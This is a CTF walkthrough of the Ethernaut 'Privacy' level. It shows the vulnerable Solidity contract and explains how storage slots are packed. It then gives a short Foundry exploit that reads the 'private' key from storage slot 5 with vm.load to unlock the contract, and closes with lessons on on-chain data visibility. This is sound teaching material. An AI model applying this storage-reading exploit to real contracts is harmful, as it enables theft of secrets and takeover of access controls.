CTF walkthrough, Ethernaut, #13 Privacy

The creator of this contract was careful enough to protect the sensitive areas of its storage. Unlock this contract to beat the level.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      *'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Analysis

Let’s review the unlock function:

function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
}

So the goal is to find out what’s in the data[2]. This level is similar to the #9 Vault: we must unlock the contract by reading a private state variable that contains the key. From the Solidity docs we know that contract state variables are stored contiguosly (except for dynamically-sized arrays and mappings) and items that need less than 32 bytes (256 bits) are packed into a single storage slot.

Solution

The first 5 state variables take exactly 3 storage slots. We want to read the bytes16(data[2)) which has slot index 5:

function exploit() internal override {
    vm.startPrank(player);

    bytes32 key = vm.load(address(level), bytes32(uint256(5)));
    level.unlock(bytes16(key));

    vm.stopPrank();
}

In Foundry we use vm.load to load the value from storage slot with a specific index.

Lessons learned

  • All “private” data is public on the blockchain. Just because you set the visibility to private or internal doesn’t mean that it becomes secret. Anyone can read the storage of any contract ever existed on EVM blockchain.
  • Encrypt/hash any sensitive data that you want to store in a smart contract.

References


The full code is here. Thank you for reading and let’s move on to the next challenge: CTF walkthrough, Ethernaut, #14 Gatekeeper One!